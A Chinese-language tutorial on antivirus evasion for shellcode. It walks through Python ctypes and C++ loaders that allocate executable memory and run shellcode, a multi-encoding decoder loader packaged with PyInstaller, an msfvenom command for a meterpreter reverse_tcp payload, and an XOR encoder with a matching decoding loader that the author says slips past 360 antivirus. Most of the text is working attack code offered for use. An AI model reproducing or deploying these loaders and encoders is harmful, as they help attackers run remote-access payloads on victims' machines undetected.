原理:使用Shellcode和加載器分離的方法,方法很low,但是值得嘗試
Python
參考自K8
#scrun by k8gege
import ctypes
import sys
import base64
#calc.exe
#REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==
shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
Shellcode混合加密
造輪子,造輪子QAQ(K8師傅的那個已經過不了檢測了)
import ctypes
import sys
import random
from argparse import ArgumentParser,FileType
import base64
#decode = sys.argv[1].decode("hex")
def Decode(QAQ,str):
for Mikasa in QAQ[::-1]:
print(Mikasa)
if Mikasa=="base64" :
str=base64.b64decode(str)
pass
if Mikasa=="base32":
str=base64.b32decode(str)
if Mikasa=="hex":
str=str.decode('hex')
return str
def start(decode):
str=bytearray()
num=len(decode)
if "Mikasa"=="Mikasa" :
for test in num:
str=str+bytearray(decode[test])
pass
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(num),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(str)).from_buffer(str)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(str)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
def main():
parser=ArgumentParser()
parser.add_argument('-d','--decode',dest="list",nargs='+',help="Decode")
parser.add_argument('-s','--secret',type=str,help="Your Secret")
args=parser.parse_args()
#print(args.list,args.secret)
True_Secret=Decode(args.list,args.secret)
start(True_Secret)
pass
if __name__ == "__main__":
main()
編譯
參考文章下載環境
https://www.cnblogs.com/backlion/p/6785870.html
python PyInstaller.py --console --onefile shellcode_load.py
用法的話則是
假設你的shellcode經過 base64 hex 加密后
則為 shellcode_load.exe -d base64 hex -s xxx
結果如下
雖然VT檢出率挺高的但是過360還是可以的


估計動態免殺是過不了的
參考資料
https://www.cnblogs.com/k8gege/p/11223393.html
https://www.cnblogs.com/backlion/p/6785870.html
C/C++語言實現Shellcode
加載Shellcode的代碼
#include <Windows.h>
#include <stdio.h>
using namespace std;
int main(int argc,char **argv){
char ShellCode[] = "\0x0x0x0x0x0x0x......"; // ShellCode 填充到這里。
void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, ShellCode, sizeof ShellCode);
((void(*)())exec)();
return 0;
}
C++這些東西還是不太懂得,大約就是申請虛擬內存,將shellcode拷貝進去,再將exec指針轉換為函數指針並且執行(我的c++確實不太行,有大佬知道的請務必告訴我)

當然你還可以用命令行實現,使用argv參數來達到命令行讀取的效果
執行netstat -ano可以看見我們監聽的端口

但是因為shellcode本身的特征比較明顯,殺毒軟件很容易定位到
異或編碼繞過
先使用msf制造raw格式的shellcode文件
sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx lport=12345 -f raw > 1.raw
#-*- coding:utf-8 -*-
import sys
from argparse import ArgumentParser,FileType
def Xor_Encode(src_file,dst_file,num):
Shellcode=''
Shellcode_Size=0
try :
while True:
code=src_file.read(1)
if not code:
break
test=ord(code)^num
test_hex=hex(test)
test_hex=test_hex.replace("0x","")
if len(test_hex)==1 :
test_hex='0'+test_hex
Shellcode+='\\x'+test_hex
Shellcode_Size+=1
src_file.close()
dst_file.write(Shellcode)
dst_file.close()
return Shellcode_Size
except Exception as e:
sys.stderr.writelines(str(e))
pass
def main():
parser=ArgumentParser(prog="Shellcode Test",description="Encode In Raw SHellcode")
parser.add_argument('-s','--src',type=FileType('rb'),required=True)
parser.add_argument('-d','--dst',type=FileType('w+'),required=True)
parser.add_argument('-n','--num',type=int,default=44)
Mikasa=parser.parse_args()
print(Xor_Encode(Mikasa.src,Mikasa.dst,Mikasa.num))
if __name__ == "__main__":
main()
pass
使用python3 xxx.py -s 1.raw -d 1.txt -n 44
就會在1.txt生成與44異或的shellcode

放進里面試試
// shellcode_load.cpp : 此文件包含 "main" 函數。程序執行將在此處開始並結束。
//
#include "pch.h"
#include <Windows.h>
#include <stdio.h>
#include<iostream>
using namespace std;
int main(int argc, char **argv) {
unsigned char buf[] ="";//Shellcode
cout << sizeof buf << endl;
for (int i = 0; i < sizeof(buf); i++)
{
buf[i] = buf[i] ^ 44;
}
void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}

免殺360了,確實很簡單,如果可以的話還可以做成像Python那樣的多種加密的形式
擴展
還可以利用Socket來動態加載Shellcode,這種方式更加隱蔽(代碼功底不是很好emmmm)
參考資料
https://payloads.online/archivers/2019-11-10/1 腳本就是參考這里面的
https://www.cnblogs.com/LyShark/p/11335999.html
總結
靜態免殺很容易,難的是動態,難的是持久
